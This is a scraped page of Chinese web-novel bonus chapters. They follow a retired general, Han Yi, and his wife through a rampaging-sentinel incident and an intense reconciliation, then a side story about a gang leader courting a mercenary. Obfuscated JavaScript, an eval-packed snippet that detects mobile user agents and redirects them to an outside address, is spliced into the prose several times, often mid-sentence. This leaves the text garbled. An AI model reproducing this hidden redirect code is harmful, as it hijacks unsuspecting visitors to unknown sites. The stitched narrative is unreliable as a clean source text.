RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055926|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 做为真正被栓过的哨兵,韩奕对此笑不出来。他可以忍受自己遭受一部分非人的待遇,他被关过禁制塔、带过禁制环、手铐、嘴套,以及一切可以罗列出来的控制措施,他不喜欢这样的存在,也更难接受这样的东西束缚在顾小绒身上。 如果顾小绒平铺直叙,要将手环带在身上让自己安心,韩奕大抵是不会同意的。也真难为她,从一个手环想出了整个情侣30题的计划。 不懂得怎样谈恋爱的上将后知后觉地回过味来,他决定不戳破她的意图,将另一个男士手环带到了自己手上。 这些天他们逛完了好几个商业中心,从买日用品、买零食、添置家居用品,到抓娃娃、看电影、做陶艺,30题列表在一项项被划掉。 这里面很多事,都是从小待在公会、生长在战争环境中的他们很少去做的,比如他们二人都不是第一次摸枪、甚至他们的手上都有常年持枪磨出来的薄茧,可之前拿着枪,除了训练就是上战场,对着气球和公仔娃娃倒是第一次。 在韩奕放倒了第二十个娃娃还不准备收手时,店老板的脸色都发青了,顾小绒不得不善解人意地将过于专注的丈夫从瞄准镜中拉出来。 他们把打来的娃娃堆满了整个后备箱,随后又去寻找心仪的餐厅,等到晚上看完电影时,时间已经到了晚上九点。《情侣30题》已经被他们完成了大半,而在不知不觉间,韩奕眼中的沉重消散了,取而代之的是轻盈的幸福与欢欣。 他拉着她的手,任由鲜活的色彩撞进清寂的生命,和平带来的喧嚣将那颗伤痕密布的心填满,他的世界仿佛从这时才开始了流淌。 顾小绒喝完了手中的奶茶,要去一旁的垃圾桶扔掉,在此期间,韩奕得以静静观察一对年轻情侣的吵架。没有听见前因后果,好像是小伙子说错了什么话,女孩又急又气,甩手走了。 韩奕忽然想起来,顾小绒似乎从来没有和他吵过架,每次他生气的时候,总是她向他认错,她会低着头一条条说自己哪里做错了,像每一次汇报任务那样严谨。 可那不是他想要的,韩奕目光低垂,望着那份勾画了大半的《情侣30题》。 顾小绒已经扔了空奶茶走回到他的身边,她今天穿着一件浅色的百褶裙,领带配上针织外套,看上去像个学生。 “在看什么呀?”她过来时,那对小情侣已经走了,澄澈的蓝色眼眸四下打量无果后收回了眼神、认认真真地望着他,像是要将他溺毙在温柔的海里。 韩奕低下头吻她的前额,微凉的唇得到了熟悉的温度与气息,压抑的热潮在心底深处暗自涌动。 “累不累?”他克制住声息,轻轻拉过爱人的手,与她十指相扣:“玩了这么些天,身体还受得了吗?” “长官,你以前可是让我每天十公里的。”顾小绒忍俊不禁,她正在兴头上,本来想和他开个玩笑,却看见那双沉黑的眼眸瞬间坠入冰点,她几乎是立即收了声。 韩奕不喜欢提起以前的事,是她无意间忘了。 可是下一刻,她感觉到那只扣着她的手握得更紧了些,他的另一只手抚上她的脖子,将她重重按进怀里。 “我……不是……”韩奕的声音从上方传来,带有着少有的暗哑与仓皇,他笨拙地掩饰着自己一闪而过的坏情绪,试图挽救濒临破碎的氛围。 就在刚才,他们差点一夜回到原点。 “唉……”顾小绒拍了拍丈夫的手臂,在对练里,轻拍对方或地面的意思是认输停手,她实在被他抱得太紧了。 哨兵立即会意松手,她抬起头来,迎面撞上他忧虑的目光。 “我没事,我现在身体恢复得很好,一点都不累。”她被他的目光烫到了,一边忙不迭解释,一边拉过他的手。 又是这样,上将的眼神微微一暗,某种幽微的情绪自心底蔓延开来,聚集成滂沱的暴雨。 “天晚了,我们回家吧。” 在兵荒马乱的掩饰这一方面,他们谁都没有比谁做得更好。 88. 番外三[番外] 《情侣30题》里稍微麻烦一些的选项被移到了最后,比如一起户外骑车、一起外出旅游。 户外骑车的方案被韩奕干脆利落地否决了,且不说现在连绵的大雨,顾小绒的身体还需要静养,经不起任何剧烈运动带来的损耗。而外出旅游这一块,韩奕已经递交了出境申请,目前正在流程审批中。 顾小绒说想再去阿维隆和泽卡看看,尽管对于韩奕而言,那里几乎没有任何值得回忆的地方,可他仍旧答应了妻子。 韩奕不喜欢顾小绒提起以前,甚至连带着怨恨那些旧事发生的地点,因为那总会碰到他不愿提及的痛处。可劫后余生的她就在他的眼前,那样的真切、鲜活,有了她的存在,他就无法再将自己禁锢在原地。 巨大的渴望日渐蚕食着哨兵的意志,他渴望着她的爱,不是下属对长官的服从,而是属于爱人的平等与交融。 在燥热的雨夜里,哨兵的目光落到自己的手背上,即使是那样顽强隐忍的她,也曾在抵抗训练里被逼到不得不咬他的地步。当然,他其实没有让她知道自己有故意将手往她面前送,控制的动作不胜枚举,从反剪双手到锁喉,都是招招致命无可破解的。 可他一如既往地对她有所保留,一方面是出于训练时对向导的保护,他必须拆解招式、逐步递推,才能让她有反抗的机会与意志。而另一方面……虽然不想承认,也有一部分是出自他的私心—— 他想要被她咬,他渴望她在自己身上留下印记与疼痛。 从前是训练,现在是床上,他总是恶劣地将她逼到承受不了的极点,再将自己送到她的面前。可惜的是,哨兵的肌肉硬度太高,愈合速度也太快,无论她抓咬得多么撕心裂肺,到了第二天也只能剩下浅浅的印痕。 而此时,他就将她环抱在怀里,却在寂静中饱受煎熬,蚀骨噬髓的痒从深不见底的暗处释放,从脊髓延伸向全身。韩奕静静注视着黑暗中自己的手,上面的皮肤与脉络完整无缺,没能留下她一丝半点的印记,他莫名地怨恨自己。 这真的是太病态了,韩奕想……他大概真的是要疯了。 等到雨稍微小了些,他们再一次前往城中心的商业区,这一次是为了旅游做准备。周末的商城窗明几净、熙熙攘攘,他们轻车熟路地去店里挑选背包与行李箱。 变故就是在此时突然发生的,尖利的警报声响划破空气,橙色的亮光代替了所有海报与展板,上面大写加粗地闪烁着巨大的“A”。 A级哨兵失控,这对于罗赛利亚的居民来说不算多稀罕的事,直到此时整个商场的氛围都还算稳定,大家都训练有素地寻找掩护、抱头蹲下。铁门与能量场也在此时启动,在解决掉失控哨兵之前,所有建筑体内外都将保持绝对的隔离状态。 韩奕将顾小绒护在怀里,时隔多年,她再一次被他以同样的弧度压住,这让她想起他们曾经的实战训练,每一次他都是这样将她牢牢护在身下。 然而情况却很突然地急转直下,首先是外围的能量场忽然停止了关闭,留下了一道缝隙,看上去像是被卡住了。接着,一声尖利而巨大的射击声贴着他们飞来,子弹扫射过商场的橱柜与电梯,玻璃立即四散飞溅。 恐慌的尖叫声凄厉地响起,人群受到惊吓,开始争相逃离,如此规模的混乱极易引发踩踏事故,韩奕蹙着眉,顾小绒的神情也不轻松,他们都意识到出事了。 通常情况下,哨兵与向导的孩子分化的概率更高,因而做为高阶哨兵与向导的退役专区,罗赛利亚在此方面的安保与预防已经十分成熟,拿下失控A级哨兵几乎是家常便饭的基础操作,可眼下的局势却显然地走向了失控。 在尖叫、嘶喊与哭泣声中,顾小绒看见眼前满目橙色的亮光闪了闪,随后切换成了红色,而那个闪烁的“A”也切换成了“S”。 S级哨兵失控这样稀罕的事,她竟能次次都撞见,顾小绒在心底叹了口气。 她看见人群中有一部分哨兵与向导已经挺身而出,有的开始维持秩序,有的前去探查情况。枪声再次响起,荷枪实弹的安防队已经突入进商场的大厅,身旁是惊恐的群众、包括孕妇和老人,孩子更是歇斯底里地哭喊着。 眼前的场景已太过混乱,声音也太过尖锐嘈杂,如果失控的真的是S级,那他现在估计已经发了疯。 顾小绒抬头望向韩奕的眼,而他面色沉重、低垂着目光。 “去吧,别担心我。”她指指自己手腕上的运动手环,向他保证:“我不会有事。” 那双冷黑的眼微微一动,仿佛冰封的深潭逐渐消融。 “我很快回来。”韩奕低下头,重重地吻了她,随即转身离开,她只一眨眼便见他消失在自己的视线中。 直到四十分钟后,红色的最高警报才被解除。刚才的混乱仍旧引发了不小的事故,安防队的子弹虽然没有直接打到人,但掉落的玻璃还是砸破了一个女孩的头,小规模的踩踏事件也还在清理中,万幸的是暂时没有人员身亡。 一时间,安防、消防与急救车满满当当地包围了整个商场,又大概过了半个小时,担惊受怕的群众才开始被逐渐疏散安顿。 一位19岁的A级哨兵在逛商场时忽然分化成S级,负责这一片区安防的治安官也太过年轻,即使是全力反应也还是没能控制住局势。 而现在,年轻的治安官正汗流浃背地看着眼前的烂摊子。就在刚才,他亲率卫队追赶那道几乎无法捕捉的残影,不知是手下哪个小年轻慌了神擦枪走火,子弹朝着商场深处扫去,群众受到惊吓,场面顿间失控。 治安官本人是A级哨兵,他很清楚S级与A级的力量差距,眼下这样的情况,他和手下这20人几乎是在送命。可此时即使立即和总部联系寻求支援,最少也需要10分钟,以S级0.1秒的反应速度,他已无法想象情况会糟到什么地步。 现在的情况无论是上还是不上,自己都死定了,治安官在迅速下完判决后决定殊死一搏,也正是此时一道从天而降的残影从他的视线尽头掠过,即使是以他的视力也难以将其捕捉—— 剧烈的声响将几近静止的空气撕裂,韩奕扣住那位失控哨兵的肩,一个抱摔将他摁到了地上,在此过程中,他还顺手抄起了一个椅子,以防那一梭子没轻没重的子弹将宝贵的S级哨兵打成筛子。 安防队惊魂未定地放下了枪,个个都不敢上前,直到防-暴队拿着盾与长叉过来时,新分化的S级哨兵已经陷入了昏迷。上将似乎终于忍到了怒意的顶点,他站起身来,冷冷发话道:“叫救护车过来,禁制环和手铐给我。” 此时,年轻的治安官正汗流浃背地站在原地,他25岁从中央公会退役、担任罗赛利亚的区域治安官也不过3年,对眼前面色不善的长官实在是太过熟悉。 “对……对不起,上将……”他觉得自己的舌头都在打结。 “叫罗赛利亚的市长和最高治安长过来见我。”韩奕冷着脸,语气肃然地命令道。 顾小绒在一楼的便利店等了很久,她抱着一个和父母走散的孩子,花了不少时间才把他送回父母身边。可直到夜色渐深、人群已疏散殆尽,也没有看见韩奕的身影。 到最后,一位身着军服的哨兵朝着她走来,恭敬道:“夫人,上将让我们护送您回家。” 她抬起眼,便看见他身后还有几对哨兵与向导,熟悉的服制不属于安防队,而是属于中央公会。 顾小绒站起身来,神色平静如常:“上将人呢?” 就在韩奕离开的那一刻,他关闭了与她数据关联的运动手环,她的理智明白这一切,可心却仍旧五味杂陈。 “……”对方沉默以对。 也是,军情大事怎能是她一介平民可以探听的,顾小绒弯弯嘴角,随即便起身朝着停车场走去。 “夫人,我们……”年轻哨兵疾步拦在了顾小绒面前,毕竟他们有命令在身。 “我的车在下面。”她好脾气地顿住了脚步。 “我们……会替您处理好的。”年轻哨兵赶紧答道。 顾小绒在这场对峙中败下阵来,她知道自己无法撼动什么。军令如山,曾经的她与此时的他们并无不同。 她被环绕在车队的中心处护送回家,她的车也被平稳地开了回来。 “请问您还需要什么生活物资吗?”年轻哨兵问道:“市内接下来会戒严几天。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩奕在第二天清晨便赶了回来,十小时不到他从中央公会跑了个来回。连绵的大雨终于停了下来,空濛的晨光与湿透的枝叶静静交织,上将一进门就看了他几乎是最不愿见到的一幕。 顾小绒睡在沙发上,裹着一条薄薄的毯子,她没有取那条情侣运动手环,他得以一整晚看到她的心跳与各项体征数据。她看上去睡得并不安稳,软枕湿了大片,眼泪仍旧在无知觉地往下流着。 韩奕的心脏在那一刻被狠狠重击,他几乎无法呼吸,疾步朝着她走去。顾小绒的通讯器放在沙发前的桌子上,上面是没有点开的讯息。 从昨晚深夜到今早凌晨,但凡是没有进入特殊军-事区域,韩奕都有和她发消息解释现在的情况——至少是可以解释的部分。 “今晚不用等我,先睡吧。” “市内会戒严一段时间,我让人给你送物资过来。” 上将心急如焚地发着讯息,无一例外地石沉大海,如果不是他能通过手环看到顾小绒的定位点和她的身体数据、执行任务的哨兵也坚称已将夫人送回,他可能会急到连夜赶回罗赛利亚,就像之前那次一样。 “对不起,我会把这次没做完的行程补上,不要生气了。” 时间指向了晚上十点,顾小绒的定位仍旧显示在罗赛利亚的家里,她看上去一动不动,只是心跳的速率有些偏快。 她也许是睡了,上将这样想着,强迫自己进入工作状态,直到各级都已完成问责、汇报整改的命令签署、新分化的哨兵也安然无恙被送入了禁制塔,他才将自己从这一系列突如其来的事故中抽离出来。 而现在,面对流着泪入睡的爱人,韩奕对自己的怨恨几乎到了顶峰。帝国离了谁都可以继续运转,可她只有他。 如果以后他还会为了什么把她抛下,他就宰了自己。 下一秒,他就俯身将她揽入怀里,薄唇戴着夜露的凉意吻住她温热的前额。 “我回来了……”压抑已久的热潮伴随着疼痛、惊涛骇浪地翻搅涌动,撞击着哨兵的身体与骨骼,他的声息在微微发抖。 “对不起……”他几乎克制不住地吻着她,呼吸逐渐急促。 89. 番外三[番外] 顾小绒恍惚地睁开眼睁,白光在她的视野里破碎又聚拢,最后朦胧地拼接成韩奕的模样,流泪消耗了她太多的体力,她过早地睡着了,因此错过了他昨晚发的所有消息。 醒过来时,她就已经被一整个按进他的怀里了,哨兵吻着她,力道不似以往那般温柔。滚烫而急切的气息将她包裹,荒芜的精神力感知到了熟悉的雪松味,他的信息素不再清冷,像是煮沸的水一般灼烧翻涌。 顾小绒被烫地瑟缩了一下,这让他停下了动作。 “是不是哪里不舒服……”韩奕吻着她的后颈,高挺的鼻尖轻轻扫过那里的肌肤:“还是吓到了……” “我不该离开的,对不起……” 他稳了稳呼吸,这才缓缓与她拉开一些距离,他注视着她哭到红肿的眼睛,深色的黑眸浸着温润的水光。 顾小绒摇摇头,伸手搂住了哨兵,他的肩太宽了,以至于她甚至无法完全抱住。 她害怕他转身离去的背影,她的世界曾经在他离去的那一刻分崩离析,那时的创痛太深,时至今日也无法愈合。她也害怕他完美无缺的温柔面具,她知道这段时间他几乎扮演了一个完美的爱人,可那并不是真正的他。 韩奕是一把过于锋利的刀,稍有不慎便会将她碰伤,可她已习惯了拥刀入眠,她无法失去他,无论是他转身离开还是收起锋芒。 可是她最终什么都没有说,因为韩奕重新回到了她的身边,也终于摘下了那幅完美的面具,激烈的情绪从裂开的缝隙中渗透出来,痛苦、懊悔、担忧、思念与渴望剧烈地碰撞在一处,黑曜石般的眼睛被炙烤得湿热发烫。 这才是他原本的模样,他终于回来了。 顾小绒闭上眼,轻轻吻向韩奕的唇。 她一直是那个唯命是从的优秀下属,所做的一切只有本能的承受与服从,这是她第一次主动吻他。 微凉的空气陡然升温,哨兵冷冽的面容被热汗浸湿,眼角已沾染了一层薄红,许久之后他才缓缓松开手,她白皙的下颌已经被摁出了嫣红的印记。 冷色的黑眸恢复了些许神志,韩奕轻轻按住顾小绒的肩:“你身体还没恢复好……”他用低沉沙哑的气息艰难道:“我不能……我会弄伤你……” 黑色的发丝垂落下来,将他的目光遮挡。 顾小绒的呼吸也缓和了下来,那支按着她的手实际上没有任何力气,她望着他,轻声问道:“这是命令吗?” 哨兵黑色的瞳孔骤然紧缩,他在寂静中被五雷轰顶。 不,不是的……他望着她,用他的眼睛回答着。 在咫尺之隔的眼前,顾小绒被清澈的晨光笼罩,仿佛含苞待放的百合。他望进她湛蓝的眼眸里,视线在交汇的瞬间烈火燎原。 苦苦压制的理智惊天动地的崩塌,秩序与控制灰飞烟灭,积郁已久的火山终于爆发开来,地底深处的板块剧烈碰撞,迸射出炽烈的岩浆。 在剧烈的风暴里,她微末的精神力与他再次连接,他们的灵魂被嵌合到一处,灼烧战栗、深度共鸣。 迷蒙中,顾小绒感觉到自己被放进了温热的水里,毛巾轻柔地擦洗过她的面颊与发丝,她沉沉地闭上眼。 再次醒来是在床上,阳光亮烈明媚,窗外传来微风与树影的摩挲声,她看了看空荡荡的手腕,发现情侣手环已被取了下来。她的目光随后落到了床头的电子日历上,毫无意外,她又昏睡了一天一夜。 身体仿佛灌铅一般沉重,几乎动弹不得,她整个人像是被撕开了来又拼合到一处的破布玩偶,浑身遍布着骇人的青紫与红痕。 顾小绒静静注视着天花板,与韩奕的亲密从来都充斥着过载的痛苦,可她仍旧甘之如饴。这是她第一次向他索取,她也不知道为什么自己在那一刻如此不顾一切,只想拥有他、或者被他拥有。 身上传来冰冰凉凉的药膏味,有些地方甚至包好了纱布……她被照顾得很好,看上去情况尚在可控范围。 几乎是在她醒后五分钟,韩奕便打开了卧室的门,他甚至来不及在床边坐一会儿,就匆匆关门下了楼。不一会儿,一份散发着浓郁香味的奶油蘑菇汤就被端到了她的面前。 她昏睡了太久,几乎失去了身体的感知,在小口喝着汤时,疲倦与饥饿的感知才渐渐从身体中恢复。 “慢点吃。”韩奕擦了擦她的嘴角,将碗收走,她还不能吃得太多,需要循序渐进。不知从什么时候开始,他对她的照顾已经轻车熟路、得心应手。 吃饭花费了顾小绒相当一部分的力气,躺也躺得累了,她便将手一伸,抱住丈夫的腰撒娇。韩奕背对着她坐在床边,看上去像是在默默生着气。 “别生气了。”她抓了抓他的腰间,柔软的针织睡衣覆盖住流畅的肌肉线条,她很怀疑韩奕到底有没有痒痒肉。 “没有生气……”哨兵闷闷答着,按照丈夫从军十年的自律与整洁,被她弄得一塌糊涂的军服和沙发,应该都已经被妥善清洗晾晒好了。 “哦……”她正准备将手缩回去,却被韩奕一把握住,上将的面容又恢复了平日的冷峻,顾小绒便又将自己重新缩回了克己复礼的躯壳,她倒也不是一直胆敢这样挑衅他。 “你这是……从哪里学的?”狭长的黑色双目朝她望过来,韩奕的神情似笑非笑,让她分辨不清他是不是真的动怒。 她那时大概是吃了熊心豹子胆,以至于过了那阵劲头自己回想起来都会头皮发麻。 “不喜欢的话,以后不会了……”她小声嗫嚅着,试图将手收回来,却被禁锢得更紧。 上将扣住那双作乱的手,稍一施力便将始作俑者带进了怀里,顾小绒浑身僵硬、心跳如雷,直到他无奈地叹了口气,吻了吻她的鬓发。 “没有不喜欢……”韩奕轻柔地抚摸着爱人,从额角吻到眉梢,直到很久后,怀里僵硬的身躯才缓缓放松了下来。 怎么经历了这么多事,还是一点都不经诈,明明这么怕自己,当时又是怎么敢叛变的……上将心情复杂。 顾小绒缩成一团,安静乖巧地蜷缩在他的怀里,目光小心翼翼地打量着他,哨兵觉得自己的心抽痛了一下。 “不要害怕我,也不要压抑自己,可以吗?”他将下颌放到她的肩上,吮吸着她的气息。 “可是,你不也一样压抑着自己吗?”许久后,顾小绒轻声开口。 她的回答在韩奕的预料之外,他很少显露自己的情绪,一时也不知道该怎样去解释。 “因为你觉得自己做得不好,是这样吗?”顾小绒靠在他的怀里,温声说道:“你觉得自己的生气、内耗和占有欲都很不好,所以将所有的坏情绪都收起来了。” 说完后,她轻轻挣开韩奕的怀抱,温柔地捧住他的脸,与那双清透的黑色眸子静静相对。 “可我不想要你完美。”顾小绒一字一句地说道:“不管是你生气还是内耗,那都是你的一部分,我喜欢的是你原本的模样……我只是希望你在气过之后可以和我沟通,让我更了解你一点。” 韩奕听着爱人的剖白,白皙的耳尖浮现出一丝绯红,他低垂下目光,握住顾小绒的手。 “那你呢?”韩奕闭上眼,将顾小绒的手心贴在微凉的唇前:“在你的心里,到底是把我当成爱人,还是……长官?” 他艰难地说出那个词,目光浮沉在晦暗与光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们的审批流程已经走到了最后的环节,还有三天就可以正式批下来,而他们也早已规划好了去泽卡旅游的路线。 南方投降后,帝国投入了巨大的费用修缮被炸毁的城池,泽卡的地理位置举足轻重,除了修缮几乎成为废墟的旧城以外,还在旁边修建了一座条件优越的封闭城市。至于旧城区,已经被开发做了艺术区,来自全国的文艺青年和艺术家都在朝着那里汇集,最近也刚好有大型的艺术展览。 公会也终于公布了好消息,新分化的S级哨兵平稳地渡过了危险的分化期,也成功匹配了向导。现在帝国拥有了两位在役的S级,虽然无法与曾经的顶峰相比,也算是现阶段不错的成绩了。 “说到这个,我原本想问你来的……”顾小绒缓慢地挪动着腿,不希望自己看上去太过明显,在前一晚狂风暴雨的情事后,她直到现在才能勉强下地。 “你真的……不需要向导吗?”她问得犹犹豫豫、脸颊泛红。如果不是想要精神疏导,那他在床上让自己死去活来的意义在哪里,不就是为了最后那一小段强行精神连接么。 “嗯?”韩奕目不斜视地撑住了顾小绒摇摇欲坠的步子,他有些疑惑地望着她,深黑的眸子明净而透亮:“我只是单纯地想要抱你而已。” “说什么呢?!”光天化日的,顾小绒的脸一下红到了耳根,她条件反射地想把手抽出来,却被哨兵死死拽住。 “我是说……”韩奕无视了小鸟无谓的挣扎,将她的手贴到唇上:“我不是想要向导……” “我只是想要你。” “流氓!!” (番外:热潮完) 90. 希里斯番外[番外] “夏姐……你终于回来了。”年轻哨兵摘下了黑色的覆面罩,苍白的脸色有些发青。 “嗯。”夏若点点头,做为帮-派的头目,她必须在此时保持镇静。 内战爆发的第二年,南部联盟便显示出颓势,在最近的伊格莱战役中,北方帝国派出的S级哨兵重创了他们位于中部的催化剂生产基地,造价昂贵的机器与原料被损毁殆尽。 这已经是他们这半年以来被摧毁的第三个大型生产基地,巨大的损失几乎让他们缓不过气来,比之更可怕的是,一旦他们的催化剂生产无法跟上供应,南方政-府极有可能将他们抛弃,转而选择别的供应渠道。一旦如此,他们将失去最后的立足之地,被对家赶尽杀绝。 此时的南部黑-帮还没有统一,夏若带领的霍特斯原本在三大帮-派中尚且算是中游,可最近的接连失利已经让他们的实力迅速滑落。 夏若扫了一眼损失列表,直接两眼一黑,她缓了好一会儿才继续翻看后面的资料。她也不知道自己为什么这样倒霉,被北方帝国追着死咬不放。 她的目光落到了眼前清晰的照片上,那是两位身形高大的哨兵与向导,他们身着北方帝国的特战服制,戴着护目镜与覆面,在第二页里,他们二人的资料和高清照片已被一清二楚地扒了出来。 韩奕,男,20岁、身高185,北方帝国中央公会最新崛起的S级哨兵。 塞恩,男,20岁、身高182,强大的攻击型A级向导。 其实在看到醒目的“S”级时,夏若便放下了手中的资料,整个南方连同政-府在内也没有几个S级,现在这样的情况不是她一人之力可以抵挡的。 夏若撩了撩耳侧垂落下来的发丝,倚在墙边点起了一支香烟,纤细的指尖上是色泽莹润的红色指甲,小巧的女士烟被含进樱桃般的唇里,缭绕的烟雾缓缓弥散开来。 “夏姐,要不……”烟草的气味让年轻哨兵无意识地皱了皱鼻子,他知道自己的身份也许不适合将这个建议明确提出来,可现在他们所有人几乎都到了生死存亡的边缘。 他们并不是毫无希望,眼前这摊凌乱散放的资料中就有最后的救命稻草—— 一张悬赏令被夏若抽了出来,她缓缓吐出一口烟圈,望着上面神色桀骜的银发哨兵。 “除了找希里斯……我们没有别的办法了……”年轻哨兵的声音越来越低,在他为难的眼神里,夏若将剩下的半截烟扔到了地上,用高跟鞋捻了捻。 年轻哨兵的为难是有原因的,因为发出希里斯悬赏令的不是别人,正是他的老大夏若。 一年前,他们的对家、南境现在势力最大的黑-帮德里尔曾和他们有过一次规模不小的火-拼。做为势力更薄弱的一方,他们的资金在那会儿全砸进了催化剂的生产里,给出的价钱自然也没有对家高,做为身价第一的雇佣兵,希里斯选择对家实属正常。 有了S级哨兵的加入,他们被痛殴到丢盔弃甲、屁滚尿流,直到很久以后才缓过来予以反击。夏若是吃了一些亏,但也让对方付出了代价,出来混浮浮沉沉都是自然的事,谁也不能一直走运。 但是从那以后,他们和希里斯的梁子就算是结了下来,虽然他只是个收钱办事的,可那场火-拼给他们的损害实在太大。夏若手下最得力的哨兵在与希里斯的交手中殒命,这也是她在这之后元气大伤的原因。 而现在,要他们低下头去找曾经结过梁子的仇人,这和让他们去下跪几乎没有什么区别。 可夏若却仍旧神色镇定,她先是下令收回了对希里斯的通缉令,随后派人去与他对接。她还握有相当一部分的催化剂产业和军火储备,在南方政-府也有一些关系,这是她最后的底牌,她只能以此殊死一搏。 帮-派内部对此的看法比较消极,相当一部分雇佣兵持观望态度,一旦夏若倒台,他们也只能各谋生路。 可出人意料的是,希里斯答应了与夏若的会面。 她从半个月之前便开始戒烟、美甲与美发,库存中的首饰与高定裙子已经不多了,大多都在之前的周转中被变卖,但好在还剩一些。夏若虽然已27岁,但容貌仍旧保持得昳丽美艳,除此之外,她还是一个向导、一个精神力被切除过的向导,是哨兵最喜欢的那一种。 她用手上最后一部分可以活动的资金办了一个相对还算体面的晚宴,白狼如约而至。 希里斯穿着一身简洁的银色礼服,绶带与宝石胸针点缀得恰到好处,他的身形高挑而流畅,不似大多数雇佣兵那般粗犷魁梧。此时这位炙手可热的雇佣兵新星正站在走廊的尽头,今夜星辰璀璨,光辉在他俊丽的面容下黯然失色。 白狼生着一双冰绿色的眼睛,坚硬冰冷、锋芒毕露,像是淬着冰的绿色宝石、闪烁着寒光的利刃。 夏若是从男人堆里活出一条生路的女人,她见过的男人比吃过的饭还多,但即使是她也不得不承认,希里斯确实是一个英俊的男人,衣品还很不错。 “好久不见,夏姐。”希里斯挑了挑眉,锐利的目光扫视过她的面容。 “希里斯阁下,感谢您愿意赏脸过来。”夏若立即换上了一副讨好而客气的笑容,如果不是曾经见过她咬牙切齿、气急败坏要杀了自己的样子,希里斯可能真的就信了。 “赏脸不至于,多谢夏姐高抬贵手。”希里斯摩挲着指节的戒指:“我记得一年前您还发誓要我血债血偿。” 夏若对意料之中的夹枪带棒早有准备,她放软了身段道:“我总得给兄弟们一个交代,这不是不打不相识么。” “才一段时间不见,你变无聊了。”接连几次挑衅都碰到了棉花,希里斯收敛了笑意:“我还是更喜欢你桀骜不驯的样子,可以恢复一下吗?” “可以可以。”夏若点头如捣蒜,那双红宝石耳坠在她白皙的脖子旁跳跃着:“您愿意不计前嫌赏脸过来,什么都好说。” “……”笑容从那张冷峻的脸上彻底消弭,一股无形的压力从四面八方朝着夏若涌来。 向导残存的精神力感知不到哨兵此时的信息素,但即使能感知到她也只能迎难而上,夏若已经戒烟了相当一段时间,身上应该没有了烟草味,再搭上一些玫瑰味的香水,她确信今晚的自己仍旧风韵犹存。 “既然您愿意过来,想必也有自己的考量,我的情况您知道的,东西不多,但只要您愿意出手相助,怎么开价随便您。”凝脂一般的手悄然贴住了哨兵的腰,见对方没有抗拒,夏若不着痕迹地靠近了一步。 “德里尔家的老爷子有三个儿子,两个哨兵一个向导,个个都是不好对付的主;克莱恩家的两兄弟也不好相与,他们的核心人员都是同族血亲,您很难得到他们的信任。”夏若轻声细语地分析着局势,他们现在贴的很近,像是低声呢喃的情侣。 “我这边就简单很多了。”夏若扬起头,对着希里斯微微一笑,她很懂得展示自己的美丽,毕竟每一个动作甚至是弧度都是对着镜子反复练习过的。 “我身边最得力的也就一个里维,还被您干掉了……”她的指尖在哨兵的身上流连,若有似无地抚摸过他的前胸,那阵若有若无的玫瑰香也从她的手腕间释放出来。 “您要是愿意替代他的位置,也不是不可以的。” “虽然您现在价值很高,但一单单做生意到底还是很耗费时间,我这些年积攒的家底虽然不丰厚,但多少也有一些,可以给您更快的助力……” 白皙的手在靠近到脖颈的位置时被一把握住,哨兵的手坚硬如同铁钳,夏若闷哼了一声。 “你真的愿意答应我开出的所有价格?”希里斯玩味地看着她,目光却是冰冷的。 “反正不答应也是死路一条嘛,不如做点好事是不是。”她浅淡地笑着,迎上对方的目光。 而后来,道上便立即传开了消息,夏若不知道开出了什么价钱让希里斯答应了与她合作,这一次他将正面迎击北方那位令人闻风丧胆的S级哨兵韩奕。 没有别的人从那场对战中活着出来,所以时至今日他们二人的对战细节也无人知晓,那时的韩奕正值盛年、势不可挡,加上北方军强力的军火支援,他们最终还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055929|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是拿下了那座据点,但希里斯也保下了夏若的资产。 两位传奇S级哨兵在他们20岁的那一年完成了第一次对决,结果以平手告终,那是属于他们的时代,在后世的传说里,他们英姿勃发、风华正茂。 在此之后,韩奕在军中平步青云,希里斯也成为了南部黑市崛起的新兴势力。夏若遵守她的诺言,将自己的产业分给希里斯40%,连一直忠心耿耿跟随着她的小弟都觉得她疯了,可实际上,夏若有她自己的打算。 在她决定答应希里斯的任何条件时,不是没有人劝过她,她有一批跟随多年、真正出生入死的兄弟,他们都担心希里斯会鸠占鹊巢,最终将她的权力架空。 夏若只是笑着摇摇头,将落下的一缕长发挽在耳后。 被架空是迟早的事,她心里很清楚。作为一个残缺的向导,她能活着走到今天已经是个奇迹,与其到头来被别的势力干掉,还不如在自己尚有一些资本的时候找寻到新的靠山。 几位对家都是心狠手辣吃人不吐骨头的,他们彼此缠斗多年,这会儿认输已经不可能求得生路,还不如抓住希里斯这股新兴势力。夏若的判断没有错,其他两个帮-派的内部权力早已固化,只有她舍得拿孩子去套狼。 整个帮-派从死亡的边缘堪堪捡回条命来,夏若给希里斯举办了盛大的宴会,她将自己收拾得漂亮体面,做为帮-派名义上的首领,她放下身段替希里斯端茶倒水,对内对外给足了颜面。 